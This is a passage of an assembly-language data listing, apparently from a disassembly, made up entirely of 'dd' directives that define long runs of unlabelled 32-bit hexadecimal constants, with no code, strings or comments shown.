0D8D03BA7h, 27599Eh, 18245F54h dd 0F0E92670h, 0AF00D7C8h dd 590DEC3Fh, 33CABFE9h, 0E66884AAh, 2407E1D8h, 0FE12F807h dd 8BDD8D5h, 0D0EE60E2h, 0C38B0198h, 1E9658AFh, 5C9CD024h dd 8F382718h, 0E961B868h, 0C54E5400h, 0D0117E14h, 0A1468038h dd 807BC3A4h, 69C605CCh, 29B023DEh, 118734Ch, 807850D0h dd 0E4AC0104h, 6DB8D88Ch, 4A5338A8h, 0EE010218h, 2CDBBh dd 274E0B8Ch, 14A6F873h, 5D02C404h, 6C06CD31h, 8370C904h dd 4D3998A1h, 0A76CE418h, 37035F20h, 0B680014Ch, 787D0847h dd 6A900661h, 0E3F0D50Fh, 0B8AE5201h, 435D52C1h, 2CA180B3h dd 58D5BC89h, 7880C02Eh, 38AFF9D2h, 0D8105A62h, 8CBC88D6h dd 2A952158h, 2DCC26Ch, 0D573FC0Ch, 0B890E7B8h, 1103202Ah dd 75EA8195h, 1431B87Eh, 26B54C62h, 768CD639h, 0AB29E4C7h dd 36790308h, 0DF34001Ah, 9809C7Ah, 0F01E6346h, 1DD8085Bh dd 0B7615400h, 4644609Ch, 4B2802C0h, 17340C2h, 0C8989C74h dd 0C8E51E0h, 35EE098Fh, 0FA049479h, 0FF409CBEh, 6F7D5770h dd 14757C20h, 50B01CB4h, 264B86A0h, 0E729E20h, 9CACBED4h dd 30AD181Eh, 6F0E122Ch, 9EF88260h, 1A5150Fh, 9B7DCE40h dd 0E9866CD0h, 11A3405Ch, 0A5FBB12h, 689FF3F4h, 10B92350h dd 1B780941h, 83F89314h, 0C06FB9B2h, 300847C7h, 0DF955B0Fh dd 3410A07Eh, 0B034AC36h, 0E5747198h, 3FDFC026h, 0A3975480h dd 9CE0EBC4h, 43E2C960h, 2948B622h, 0C39CBB33h, 0A3A13EA5h dd 8F94011Ch, 83A0508Ah, 0A6742388h, 0C1D30AB4h, 5AB480DCh dd 43607670h, 0E68D9A15h, 37CD8118h, 6195470Dh, 0E28F40D4h dd 517149E6h, 0D88CF428h, 0B662E076h, 602960B0h, 48103E42h dd 4BB0386Eh, 820659Ch, 0AA141049h, 0A34AE0B1h, 29C565F8h dd 6F48C334h, 80F4F9EBh, 6E171A08h, 0EA7467E0h, 4310C014h dd 84132AC0h, 7678251Ch, 947FDA0Eh, 0DDC1B0A4h, 1B572056h dd 915B5401h, 8CA7C076h, 64EC489Dh, 48390030h, 0BEDB268Dh dd 0D63A0C90h, 5857DDh, 0C20A775Eh, 3067640Eh, 0E0983C74h dd 949122F3h, 0EB347AC3h, 94E10090h, 406EF682h, 79148B17h dd 14D4AC60h, 0C03442C0h, 0E1A3B592h, 0DEB4812Bh, 28965442h dd 0CEF85E06h, 8528F1FFh, 0EB1D82E4h, 0C513DD8Ch, 0C754A811h dd 6F94342Eh, 1B0B1442h, 0E772A880h, 0B8F5A0A7h, 0EB5F1E08h dd 4B8202Bh, 1CCCE10Bh, 6F013401h, 1CA04B79h, 60804C84h dd 54676B47h, 0C09CA0EEh, 798838DAh, 6068E230h, 8D298F68h dd 78408CC6h, 40198AB7h, 0A2517430h, 0C0A022E8h, 0F67B8672h dd 9468C109h, 4B9B71F4h, 0F99202A0h, 37B34D6h, 0A7C2EBB4h dd 0C98E5CB8h, 0FCBAA82Ah, 0A80FD434h, 3F8F3C70h, 0B0AA30E1h dd 0F50FF428h, 23CA757h, 0C209BB26h, 2F14019Fh, 0EC7820D1h dd 0AB17B615h, 0D82E812Ch, 31804D03h, 6F1B7734h, 0FE53E3A0h dd 0C39E8394h, 65DE8174h, 0A4B6B440h, 0A646E09Bh, 0E66D0514h dd 407ACC0Dh, 767E94A8h, 596281E0h, 615ADF90h, 0CC215590h dd 871544Bh, 27FB050Dh, 8C049404h, 86083CC1h, 0F205384Ah dd 2036ED97h, 76778CB8h, 350014AEh, 0D242977Ch, 71607253h dd 9033F65Ch, 4E1026BFh, 18AF0079h, 5393B366h, 75E7C20Eh dd 5A960140h, 11CD2373h, 190C1450h, 0D3EB31B9h, 0D4782050h dd 1CEDF35Ah, 7B61B33h, 0C380298Dh, 6FEE0E88h, 2965068Eh dd 78CAF42Bh, 9740E071h, 14B7745Fh, 44856A13h, 4CB872A3h dd 38C3B9DDh, 30A2ACC0h, 73088088h, 40C5A1EBh, 1C205B7Dh dd 20E02506h, 0A014C516h, 0E388D72Ch, 0F18E88EEh, 0D44182C7h dd 9EC08150h, 29931006h, 18C4484Ch, 59765FFCh, 412B3360h dd 88815C0Eh, 0C6B73699h, 256E4000h, 0B87B93FCh, 0BE0A73E8h dd 89B35AF8h, 83D31C3Ah, 0C0643455h, 0CDFDD708h, 0C72080CCh dd 0F81340C3h, 0B5B3A02Bh, 530E1B5Dh, 92A31021h, 0AB33580Eh dd 0C16095FFh, 0BDEF7105h, 40B30617h, 0F850D330h, 0F3EB2273h dd 3B01F44Bh, 6FA1A335h, 24C0FA52h, 0D300349Ah, 3DA2FD8Ah dd 66168Dh, 5602F82h, 0C03B91D4h, 61F91418h, 188DAB10h dd 992BF89h, 8A6206E3h, 7FEE9110h, 0F0320CC0h, 0A881700h dd 7E5DD2F6h, 0C407072Fh, 0C0713811h, 0AD458C43h, 80CE3F3Dh dd 3EA6E65Bh, 87862Fh, 0AF9F1FA4h, 34EA794h, 8800DDE6h dd 234D870h, 46F6F7h, 0ED10550Bh, 5AC92C27h, 0C5E82600h dd 6CA83F24h, 9274005Bh, 0E717D613h, 67F2DB78h, 7133F500h dd 0D8B48FE6h, 0B32100ADh, 0C848153Ch, 32F8BFB0h, 6E07FC00h dd 0E053F2B5h, 1C6200D9h, 18D34F52h, 630016FDh, 0BF405A7Bh dd 6B2DB8h, 0A834C5AAh, 881DD53Ah, 0EF01251Dh, 33E99CC0h dd 0F036B9CBh, 8F7000B1h, 0FA5A6A3Bh, 2B009558h, 6747AC68h dd 3B5B3EA9h, 6D00613Dh, 8C404CFFh, 133D152Fh, 30D33010h dd 54E3D8A5h, 3B0B43Ah, 497FB432h, 73C80FB1h, 6EFAC27Eh dd 0AD5373Bh, 0D0DE15F3h, 6A35F500h, 505FD418h, 138D14h dd 0A7D68A26h, 0E70B67FAh, 2B1341Fh, 8E310079h, 13ED73Fh dd 7B380084h, 81A97CBDh, 7801E4ACh, 20659044h, 0E7F845h dd 0E65EF060h, 142FC07Fh, 0DD53EF00h, 0BFF8D607h, 1469E658h dd 0B0C7037Dh, 281D3800h, 0DE4C6DC2h, 0C439D800h, 0F6F499B5h dd 229D00E6h, 18E89554h, 9009214h, 0E1310B3Fh, 4686A3Eh dd 0EFD965CCh, 7420807Ah, 42025906h, 2FABF387h, 0DE1240BAh dd 89F200F9h, 90B2B596h, 2600F03Ah, 7AD77E0h, 1759708Eh dd 7C8071h, 0D5CBA72h, 3600F26Bh, 0D3B42693h, 977F91Bh dd 91A52E1Eh, 0C727000h, 0A080B065h, 744F025Fh, 707EF056h dd 93781C48h, 12BE313Fh, 47000921h, 0E3DDD02Bh, 82B80084h dd 896EDC99h, 703AC453h, 0B7EE8009h, 0E0E9B1B4h, 4BC100C9h dd 7AE46E9Fh, 3B006D6Bh, 0D8ADEFF5h, 0B12C654h, 9D425557h dd 7C212C80h, 29C47D2Dh, 0FB449F31h, 0BEC14211h, 823B0161h dd 957D0138h, 5CA72A10h, 40D56580h, 0A207860h, 9499443Dh dd 3773B8B8h, 0A5672A03h, 98D14086h, 3C1B32Fh, 0A1B6839Ch dd 13CAE7B5h, 193AC3C0h, 0C4351003h, 0C8BBDEBFh, 0B05214h dd 0C391CEDh, 7873B37h, 0DE5BF800h, 0B46243C0h, 8EE0050h dd 0DD0C0416h, 0A0002874h, 0A9A8AE3Eh, 9A5260h, 2F26C6CDh dd 41E77B35h, 33393Ch, 0CAC7FB66h, 1AC140h, 0E2928694h dd 0D70CABEDh, 2ECEF00h, 6B4B2D1Eh, 395A00ADh, 7F782FCDh dd 7C009C76h, 0B9913CC0h, 4898AF60h, 0AD005504h, 2474CEB0h dd 0FC12595Fh, 430049F7h, 25866DE0h, 3ABA008Bh, 0E8518058h dd 45F02335h, 0E62C4200h, 0CBF2D62Bh, 800760E2h, 0DB8F1C39h dd 30D23Ch, 3693578Dh, 39446531h, 0A7806B66h, 0D52376C2h dd 0E2F671DBh, 8912EB76h, 0EE0332FBh, 0C09F8F3Ah, 0B040DCCCh dd 0F19E053h, 2A5EBB12h, 9199DE60h, 92005789h, 7CEE08D1h dd 73F6AB80h, 43FCC0h, 6907B8CAh, 0C744E611h, 0FA8FEE00h dd 745054C5h, 20230032h, 0BB1FD42Fh, 5601E30Ch, 3C3739ECh dd 60EEA8A5h, 2B90C8h, 35B4112Fh, 1092AA5Ch, 0E5380F00h dd 0B0AE36DCh, 9F7D07FDh, 20FC0443h, 0FBE29C73h, 7727C200h dd 1BEADE4Bh, 1DAC1299h, 83E11CC7h, 1CF68528h, 0DC87ADC0h dd 6A948B00h, 0B00AE2E8h, 0EC5A003Ch, 0D73E0B0Ch, 0E30095CDh dd 5955F254h, 7E42DD9h, 0C7DEF8EFh, 0E60BC0D1h, 4F0F827Ah dd 4F481D9Dh, 0CE374084h, 15F3F52h, 0C6D2031h, 0C94FCF2Eh dd 4B7BFC66h, 9722AF0Eh dd 6DBD0032h, 0B982E5h, 5B3CFA51h, 0FF98D912h, 0F96528C0h dd 0F63F7ABh, 3D437E9Dh, 0C1807A2Fh, 0DD1D81C3h, 7D022200h dd 0BCE95767h, 0A98C000Fh, 183DCAC2h, 0BA004F83h, 32E4B611h dd 0AEBD67h, 0F5FC7770h, 14502C3h, 1FB2AA00h, 0B0431BE3h dd 19800324h, 50E43241h, 0C7359BA0h, 0F97B201Fh, 56F100B9h dd 0A8EDC669h, 982701C3h, 0C2F74BD7h, 5E36E8E4h, 66C52200h dd 854DB29Ch, 0E21F0106h, 472A4EAh, 44343063h, 8AAEEE07h dd 1910E6A2h, 0E88F54CBh, 0FE5C9023h, 1BDE16F6h, 2776407Fh dd 7D1246Fh, 0B09B9E00h, 0DEBD15C9h, 0A5D0066h, 0AFA1CAB7h dd 7005E52h, 18B3EE38h, 704FDF9h, 1BFA1E7Dh, 0F6400C0h dd 39005358h, 9DB7989Bh, 7F3BB6F6h, 0F8B4A0E9h, 1EBE00CBh dd 0CEDD35BAh, 4F010F71h, 5E9D698Fh, 40E09763h, 14364C2Fh dd 1E418100h, 3DA49572h, 0A325405h, 80EEACCDh, 65E3077Dh dd 23A38000h, 4C70C35h, 6AAE0061h, 3C62EB86h, 990C27EEh dd 200252CCh, 8DF41Eh, 43252FE9h, 0DCB7BD0h, 7DEB201h dd 44E11B8Ah, 7472E460h, 0F6C74EBh, 93D73806h, 484C30F2h dd 1300713Bh, 7505C6D1h, 2EA7A0A1h, 1D1CD73h, 0EF935CFDh dd 0EF0802Dh, 0F3E3486Eh, 175E7E45h, 75DAF4Fh, 0B067285Fh dd 5ABC01F5h, 59623400h, 0D8FE7C65h, 8DB50046h, 44E89383h dd 27004A53h, 0F19C1141h, 7B637C7Eh, 0E32400D6h, 5D50B137h dd 0A2C302Ah, 32037044h, 0C84389FDh, 2FF29AACh, 6A7E54A0h dd 19F0A700h, 0F4A9D472h, 0DA200753h, 5061956Fh, 0A7E08330h dd 0EF010BB8h, 0FE844B3Dh, 0FFD4C2D4h, 99E8001Ah, 28BE1B1Dh dd 52027161h, 0D86ACB03h, 0C5988037h, 1D9BC32Dh, 8084EF69h dd 0C0D23E0h, 7F719A29h, 0CEC812Ch, 0A85ED402h, 867D00E5h dd 7200953Ch, 0B50E943Fh, 244C8713h, 0E3E9h, 0E7AC4DF7h dd 22FCBB32h, 55A1EB00h, 70963730h, 0E6DD0365h, 4174F849h dd 3CF485A8h, 0F71E4600h, 457B3606h, 8BF50EB4h, 0DA29C857h dd 305CB480h, 4100B334h, 68D785F0h, 4CAD7B27h, 320091D3h dd 2A11B07Dh, 0B8007A22h, 7344853Ch, 38C5092Ch, 209F7E42h dd 33F340E4h, 8F0363E3h, 33D3AE24h, 85216501h, 0F0F755A3h dd 304EDFh, 0C0BFB820h, 0EBE70DA7h, 0F178CD00h, 385999D5h dd 66A1390Ch, 947D600h, 97C9DD56h, 34907B07h, 0E910B539h dd 75EA25h, 0FEA3B616h, 0AA42A596h, 0C0742600h, 7DDBA10Bh dd 49321FBEh, 1DE38F7Ah, 0E79A823Fh, 54C89B4Bh, 0C91E03B5h dd 7D40DAFFh, 319D9932h, 0D6330323h, 5FE3E4A9h, 0F082CBE8h dd 0A19C440Fh, 0AF8E80ABh, 2D1657h, 92741EF4h, 272EE1E3h dd 0D3F2E700h, 0B76C2C0Ch, 0E95B2CD2h, 3CCE07Ch, 3416F3DAh dd 7800816Ah, 0E03A6758h, 2C087551h, 6C9ADBh, 9F6BFC60h dd 0C300BB72h, 63791E73h, 185A6595h, 291CF190h, 360E922Bh dd 2150F280h, 7EA144B7h, 0DE80461h, 0C70400ACh, 0B4477211h dd 0CB0BDD40h, 0FD5638Bh, 0E1F941D0h, 66F41254h, 200707E9h dd 0B0B9D4E5h, 0D3F66974h, 6800E0B0h, 3AF35342h, 4D40C6Fh dd 0A48F1F5Ah, 206D80B2h, 7100459Dh, 84DA46E8h, 0F41C7Fh dd 0CC01A6F3h, 8B912644h, 3539BE00h, 4B071ADCh, 626439A9h dd 0CDDA1500h, 0AAC43347h, 0BA3EEC13h, 8C3A6000h, 1E9F6587h dd 0C2FE54C6h, 0F11D9267h, 0DEDEAC0h, 5C5D1624h, 7C4B8F3Ah dd 2A42602Eh, 0E0A0415Ch, 0EA5B8E8h, 658A248h, 0C760CEEEh dd 3E5CAACh, 0D1C37428h, 59C63Ch, 34F7A176h, 0B90EC7h dd 58177B11h, 1999768h, 8BFFAC07h, 0D3335EA7h, 0FB32E86Ch dd 937D0FB6h, 16E0A067h, 4B9A05D0h, 5B21AA04h, 4FE05EDCh dd 0D8670083h, 6B6FABDh, 640FBBA2h, 0E0871F44h, 97D09322h dd 106C006Dh, 0AC335EF6h, 59003D0Ah, 8449095Bh, 3E7DE9Bh dd 0A6C0EB87h, 97E8F4EAh, 9600C326h, 0DD8E333Ch, 124CDA1h dd 5E8AB7D7h, 40596BA2h, 23E921E4h, 0C9436900h, 0C702D239h dd 0A5E200C5h, 0FA9CD14Dh, 0CC07ACF2h, 89FE503Bh, 33AE0BEh dd 0C85A09h, 5EA1275Ch, 32B57743h, 0EDBC2603h, 3EE074h dd 4106E18h, 0F4387934h, 8165D13Fh, 0C733077Dh, 0ACBD09D3h dd 0FC39E100h, 7890A440h, 8D162E00h, 0F26D7B3Bh, 0FD340029h dd 78B64A6h, 680077E4h, 0C3416FF8h, 0BCE136h, 0BEAD3280h dd 0FFA2EEF3h, 7B5DBD1Fh, 0DD3080F9h, 77763C64h, 0E2BB1F8Bh dd 0C2B04007h, 0CBDC4FA8h, 14754500h, 8F119A28h, 6B7900E5h dd 173E7E77h, 2D026203h, 0F4DD4912h, 2117C01Bh, 5BF80E05h dd 36C00B15h, 1E9AF75Fh, 8B57B739h, 0F533FCFh, 651B40CDh dd 79AEFEh, 30231251h, 0F5D9137Fh, 8EF76100h, 3EE167D0h dd 31DB03FBh, 0C10B83FCh, 219E17F0h, 20B1EF00h, 0A4AE54EEh dd 269A00BDh, 7A44F328h, 2E1DCC32h, 2B9C93FFh, 0FC00B11Eh dd 19AD2FA5h, 24E700C4h, 0AC208FB6h, 0B70560D9h, 29AEE6F8h dd 0C8429580h, 0C35F008Ch, 52F163CAh, 0A7006C68h, 8E20851Ch dd 0F42B7E5h, 13D82F59h, 0FB62BB00h, 0B800DE16h, 0FACC33C8h dd 0BC4C99h, 2FD7C6B1h, 412D2AB0h, 6EAE700h, 7105EDEEh dd 785400D9h, 517B7E0Bh, 0D00D05Ah, 0B97FABE5h, 39CC0C4h dd 0EEEBA6F2h, 8C2C2B1h, 361740D7h, 0FA5D00C5h, 0AABA2BB2h dd 7100061Bh, 3BD22F72h, 245FB515h, 56BDEh, 9D5C54BEh dd 2B039503h, 19EB7E57h, 9F1488C9h, 3E49839h, 0E59CE9CDh dd 0CAD8949Dh, 5C070950h, 2668AA65h, 40DCB6F0h, 8B37001Ch dd 0CFA92DEDh, 0BC00BBE6h, 0ABAEB1C3h, 0B05157h, 0FBF8A418h dd 35E55CDDh, 2B5BE100h, 0D3F50E95h, 0B8771E1Eh, 7BE41E2Ah dd 0FBF09D80h, 18E2BD08h, 0D7572D02h, 402092BFh, 0E28C416Eh dd 0E4B300FDh, 5E61CE7Eh, 760055E5h, 0E606E80h, 0B49C17h dd 1CBBA7D0h, 1AC838ABh, 0F3AFDF00h, 9E379395h, 0D43167A9h dd 0ADCE000Ah, 33FC29ACh, 67094300h, 0D286A7C1h, 59B607ABh dd 40E84280h, 0D3DB5C77h, 6015E300h, 6EBF21DCh, 76E9004Bh dd 1D95558Fh, 990F5749h, 60C1F8D8h, 9C656C0h, 0C4160E96h dd 4FC08793h, 0D0EB46ACh, 0ED665301h, 3686767Ch, 0A760DCh dd 918AFB85h, 122C0EC2h, 0FB2A324h, 0C0881103h, 6897F8DEh dd 0F30700E1h, 60D19169h, 32FA766Bh, 585C1F3Ah, 48B80066h dd 9449BF90h, 9335007Ah, 984F2089h, 0EA005DEBh, 31B5B21Fh dd 3F9E130h, 2CDB6DC2h, 4906191h, 0D0004D1Eh, 0EE99CD7Eh dd 41FA17h, 48A67F77h, 0DA66C298h, 55004DF0h, 2B9CBBA3h dd 1EB18E12h, 7DDDC87Dh, 5278FC80h, 46CAF11Eh, 2E99AF07h dd 0F0B0117Fh, 2B6703h, 7C0A733Eh, 0DBF508EDh, 0A452DF01h dd 6DFB221Fh, 73276AD4h, 0B8764C3Bh, 5D504C00h, 190643C9h dd 7CD27005h, 0FB9DB1h, 0F6B0CA5Fh, 0F00CD86h, 7D8221FDh dd 7D9C4D0h, 6B11BB2Eh, 0EFCFE002h, 0C900D538h, 4AA1143Dh dd 6E61B6h, 448F485Dh, 270CE6AAh, 8AE12E00h, 6A5574ACh dd 9A4A0066h, 0AD1F9767h, 0B100CB6Ch, 8683757Fh, 0F7DE496h dd 0D42BEF9Fh, 894A003Fh, 15369154h, 77D02Eh, 0F8DE5500h dd 7CB383D5h, 5F490397h, 0C17F262Fh, 732CA81Dh, 51340078h dd 808519F5h, 0C0B1014Dh, 6BD365A1h, 4ED5F00Bh, 0E63B9C00h dd 0B027204Fh, 30DF00A6h, 9FBD929Bh, 4D762446h, 0DE005476h dd 0C4CD3EF2h, 0CEACBBh, 0C759602h, 68B5EA43h, 980DE8A0h dd 8BC54C39h, 86172F2Bh dd 903D0Eh, 0EB5FBCD4h, 62B66052h, 0C3992500h, 17CB9D26h dd 805E0083h, 47946158h, 2C00E6C4h, 0FAE4E5D7h, 32A96E2h dd 0F2A2240Ah, 34E097CEh, 86008A0Ch, 0D8771954h, 60AE3C1Ah dd 15C510E9h, 0B7005FB4h, 0EB4AB2BDh, 0E86A53C1h, 8EF8EFh dd 0F5151367h, 5C71D30Dh, 1F604500h, 41EEA8DDh, 110F627h dd 4C2E939Eh, 0ECCD8408h, 0D000DB5Fh, 2C9D8AC2h, 0FF9F063Bh dd 18C2020h, 22AAA44Bh, 20BA7EDAh, 460E94ECh, 0D8CB699Ah dd 0F06CA2D8h, 0EFB60054h, 72148A03h, 0FA00C1A0h, 71F9F80Eh dd 0F0B4E2CDh, 78AA0053h, 109F6D50h, 910E88D5h, 40438AD9h dd 0F9769680h, 0CBFC0Ch, 0C3A55C92h, 4DC88165h, 86ED2E00h dd 0ADFA1A45h, 42E2AEh, 6D48D458h, 41E0CEC2h, 91180E1Dh dd 0F9B98380h, 1619654Ch, 9FE14Ah, 741264B3h, 5701B8F7h dd 13F8F21h, 0C4403516h, 1C46D07h, 0D3ACE37Fh, 404072FCh dd 4EAE87B5h, 0ABEDBF00h, 94F94204h, 23460095h, 0F133BC0h dd 8B007CEFh, 0E94A811Bh, 0EAAFD6h, 12967622h, 0BD1C74AAh dd 0F454F101h, 82881B0Fh, 0C0FFD4h, 4C8B6F1Ah, 0A12EFA8Ch dd 59BE2D00h, 1CF667F7h, 4D5D0256h, 0C370A9DAh, 24EB9281h dd 5F8AECB7h, 0C984E954h, 38678000h, 0D5E39606h, 9584C60h dd 62E14E00h, 5FAC29A3h, 0AE6D8000h, 0A2BDF118h, 8EED000Fh dd 0CCDDF581h, 91009F6Ah, 6F0C3169h, 1F068DA8h, 5C23E6h dd 4A95C038h, 54007F47h, 48622D3Dh, 0DB1380h, 2FF3087Ch dd 30C6E85Fh, 9A96F800h, 380F9D7Fh, 9CE100CEh, 6A2A10B1h dd 0D0FC612Eh, 209837Dh, 81280D21h, 9E26A0DBh, 791433E4h dd 0EFE80732h, 0B6AD188Ah, 1D581030h, 2331007Bh, 10A5C969h dd 2418C033h, 0E64255E3h, 7E986A00h, 2E6D585Eh, 0E050B021h dd 3AA79D6h, 0CA337219h, 0E988916Fh, 0F200B7D7h, 12AFD2C5h dd 0E8FB4E6h, 0F67EF019h, 9DBC9EA0h, 2007E254h, 0FED8DA37h dd 6B5B7260h, 5C140063h, 0D1B226AEh, 8F04BADEh, 0AA2B7C12h dd 20A92080h, 23AB07D4h, 67EA6E0Bh, 62DDA346h, 6955AFE0h dd 5100B7F0h, 7ECFA47h, 16CAEEh, 0B55CE206h, 1FCE8341h dd 0E000D6FEh, 9C89EBF2h, 4D48BFh, 1174FE9Eh, 0E33D1F43h dd 5800AB78h, 5E7F4AE8h, 7A454EFh, 0F9776A9Eh, 9179209Dh dd 0C00EA018h, 434675F1h, 98D1767Ah, 1661BCFh, 0C4AD0FF0h dd 87B8B281h, 0E060F710h, 384AF2E0h, 0C604005Ch, 533E130Ch dd 681FCF79h, 44C02F23h, 161B57Dh, 553300EFh, 7A8CF5ADh dd 0A3705ADCh, 43B60500h, 7B70E0E4h, 99C80025h, 7C497636h dd 0A1037A15h, 38B14E6h, 66ADE0DCh, 0D7270018h, 0D8D137C9h dd 0F74B9CE8h, 7C0085E8h, 7BC94C6h, 8C00EE54h, 824F671h dd 435109h, 722FA091h, 65E832B2h, 0BBA99F0Eh, 0C24460F7h dd 495431h, 7BCCC978h, 2C864822h, 90AEF007h, 6E000C20h dd 725DC661h, 5CE60058h, 96D341CFh, 9F00FC09h, 0C88C7B99h dd 382C946Dh, 42170EA0h, 0C5AB008Dh, 288655E1h, 9E8E7B00h dd 0D5CD9AAFh, 7F3600E7h, 5A7633A2h, 2D00D3D9h, 3F6A4B1Ah dd 0E7FD3Ah, 74D7727Eh, 12511339h, 73B8BD07h, 59079BA9h dd 0F4974290h, 0B40800D6h, 9D50FB3Eh, 3D039FE2h, 577DCAA4h dd 17118023h, 3822B8B7h, 0C78025F3h, 26D7543Ch, 88004964h dd 820E926Dh, 3A84C99h, 429ECCF5h, 0C7E8010Ah, 0FD00839Bh dd 0DED78D51h, 0E1897E7h, 5E56874h, 6B39CCA0h, 845BB5E6h dd 0F03D44BCh, 52FF2B01h, 0CCF253D6h, 8FFC817Dh, 0F9640600h dd 57E63903h, 0DAA5000Ah, 0D9926C1h, 0CD00D763h, 4D5B53FDh dd 1738D85h, 0D2CE0A7Bh, 0F7F9FF7Fh, 6E59DCA0h, 0BCEF8900h dd 0C5B04E24h, 2FE4A0h, 47D2250Dh, 0D6D755DBh, 0C75DA600h dd 0DDE4BF45h, 4CC0E85Bh, 0C13B5A75h, 6F2FFD80h, 82225934h dd 2847EC06h, 1268ACh, 0C5EF9A2Ch, 0CBC14F4h, 0C4138F00h dd 0F949744Bh, 0D7AC3781h, 3641CF70h, 0E0C68EEEh, 1603199Ch dd 20B72127h, 35F1A029h, 21E96270h, 1C809482h, 6A4E9F1Dh dd 3F674939h, 3F7C0074h, 3D22C6EBh, 8C710033h, 7BD7A98Dh dd 16581720h, 950E015Eh, 68F40D30h, 309860F3h, 0D4263246h dd 477A1700h, 80F4B5B6h, 0B85800D6h, 0E2227C20h, 44A36F40h dd 99BF61F0h, 4C837607h, 6A1DDA0h, 0FEF4C031h, 47D30018h dd 8616A269h, 0AD003097h, 0A0ECB390h, 149E8FBh, 51DCB777h dd 7045E59Eh, 107C5251h, 5F483807h, 0C700417Ch, 1C1F22h dd 0CA172D76h, 63B6A98Fh, 0DC00A0ECh, 0DB5406Ah, 3D4290DDh dd 31068EFFh, 0E0C275A7h, 2FA68F05h, 0DEC058BFh, 3A361255h dd 7A304B96h, 0BF26E021h, 98C72400h, 0DBE5419Bh, 0C27194h dd 51A6A471h, 8AA28891h, 8DAF9606h, 8038D6C1h, 158CC380h dd 88E80B27h, 7F82ED05h, 22F3C24Dh, 132AD483h, 311339E3h dd 9A1E6E2Eh, 15DC4D80h, 15B2DD02h, 587E7B31h, 0CCBE7301h dd 0C497F3Bh, 0D4235019h, 0A9643FF4h, 0B26CD80h, 1089D8F3h dd 4E4A8200h, 0D6C09DEAh, 6FAD0C04h, 50610C69h, 81F0C18Ch dd 53482749h, 21019130h, 64A88001h, 0DCC83C3Dh, 3F310097h dd 9894C91Fh, 9D0E08A1h, 0C32C6BDFh, 0F8B05E1Eh, 0F45C50h dd 0EC9E9C27h, 3577FF68h, 2F82AFCh, 0E247E30Eh, 799E3F9Bh dd 0CF4D4440h, 0AE74F2h, 37E204Ah, 54AAD3E8h, 0F552601h dd 1BFE7B05h, 0A690F8EFh, 15C800A3h, 0D070DE1Ch, 0D002311h dd 0EE2E55F2h, 0F88E679Dh, 6DF73A53h, 0A9C5D00h, 0D97916D3h dd 1ED5F41Dh, 0E9A02000h, 2ED77CB2h, 5DF644h, 6B54AE43h dd 0EB0FF113h, 0C06D0687h, 0D30949B3h, 0DFD70D32h, 0B60A070h dd 9E298504h, 0AA041810h, 0C6744880h, 5785491Dh, 1E88A180h dd 0A35D5Fh, 0CB378708h, 0B6A855B1h, 491C7700h, 959B1EBBh dd 9698A9h, 82E2721Bh, 580FB67Ah, 0CD603175h, 0E7132F50h dd 947700A2h, 848321C7h, 0C31D1B1Ch, 0E640A4C1h, 686DBFBAh dd 0DC6E0294h, 3C9FA199h, 0F423209Ch, 142E00A1h, 0EC6481E7h dd 71CE5103h, 0A684A1DBh, 8D0E03C8h, 0D5A94D2h, 820627C7h dd 8809342h, 0D0988E5Bh, 0A30B8B00h, 0E9851674h, 0FB4707F6h dd 0C08901E6h, 0A91C990Ch, 5C1BD100h, 0CAA04B84h, 5D6B00E4h dd 29E1659Bh, 0CE06E52Fh, 0A2ECC73Bh, 0FFDA0070h, 0B189B0A0h dd 6526815Eh, 0E4004F7Ah, 4CD65FFEh, 0B6DD000Eh, 35D6C57h dd 2EE388Dh, 81CD2406h, 0CA384076h, 0B16B60h, 0EF4FFFE4h dd 3C655263h, 20400C10h, 0C9138E2Dh, 0CCE12360h, 0B0690DE9h dd 70A2008h, 92A7788Ah, 78800477h, 0C0B78545h, 334224E7h dd 20B607h, 0E52EDB01h, 7BF897EBh, 69D628C0h, 70E4224Eh dd 929D004Ch, 0A85A1B21h, 0DB003825h, 4A73C563h, 7C6C6A2Bh dd 35ED005Eh, 0CE403E7Eh, 907864Bh, 8A2E274Dh, 20409E85h dd 86F03896h, 0A76942C4h, 4A1F3244h, 5D4E5A2h, 47D266E8h dd 40B580DCh, 0E28988AEh, 0B764D30Fh, 0DC45816Ch, 820DA81h dd 855C3FE9h, 0A3F178Fh, 2C802015h, 0E3BB8424h, 6F8B888Fh dd 1BE4A70h, 0D3E94B2Bh, 0F6D5890h, 6C610208h, 6B5503EBh dd 0D53AC8CAh, 0EF5014D3h, 0B2B0201Ah, 40AE6AC2h, 92212F7Dh dd 0D6CA5130h, 0B6DC20B0h, 0EE8C9508h, 43200451h, 81A94216h dd 0EE4A180Bh, 0B7170085h, 0DB8F757Ah, 0A405BF9h, 206C6F3Eh dd 0ED5A2EEh, 0EC60BC31h, 26D8BF0Dh, 0AF8A5B09h, 0BADC008Bh dd 1CE9194h, 4DA6D4B0h dd 0E0502FBEh, 0A839617Ch, 9C1F8113h, 3F747ABDh, 1C709F0h dd 0A6B03783h, 0E0145A9Bh, 10982661h, 220A453h, 89B4E017h dd 85213E9Bh, 0F33B00A3h, 24F9A9B7h, 580C4200h, 0F7990354h dd 3A77C37h, 12EB8A86h, 36E16A2Dh, 7F11E091h, 0C231EE4h dd 9BE50229h, 37E973h, 0E4C13F9Bh, 4285D882h, 1147AD9h dd 0F0FB3FA0h, 1F021368h, 99E0E121h, 0AFFC5B20h, 0F0051040h dd 5723FA93h, 0D09E20FFh, 12F1E07Eh, 0A1D7421Bh, 3700014Dh dd 2D88B6D0h, 0E32B0095h, 47BF7A5Ah, 0F400C4DAh, 0ECDF17C1h dd 3A39FDDBh, 5E818CA8h, 0D99446CDh, 0B2CCF04Bh, 0D0E8CB5Ah dd 20E84C14h, 91F98BC0h, 0FE47A88Dh, 28599C84h, 81F505F0h dd 780B96F3h, 20AEF840h, 7DF39502h, 2DE0BD8h, 2134E2F9h dd 9D40B184h, 2B9057F3h, 0C5409E2Ch, 54602CF4h, 2782321Dh dd 2CF0E4E3h, 82F50A60h, 5680D6A2h, 0C582C20h, 1EF414C7h dd 0D11D9928h, 0B41DFB62h, 89561AC0h, 0FE6BD7F6h, 115E613h dd 0EEC7545Ch, 0F0DB47D1h, 0FB001155h, 0C8A9A801h, 1E287149h dd 14F1FE3Ch, 0C8C1201Bh, 0D291AA7Fh, 0F6AC213Eh, 673DDAC1h dd 81FE3D9h, 58EFA290h, 7F2B9C4Ch, 0E4C240A3h, 1081CF5h dd 547994C8h, 0C0806053h, 0BC232775h, 0B4948FD5h, 2357B060h dd 0C6032361h, 0A04758E5h, 0F2F4E65Ch, 0BCD6B200h, 0AD03CD70h dd 574BDC8Fh, 20ECD832h, 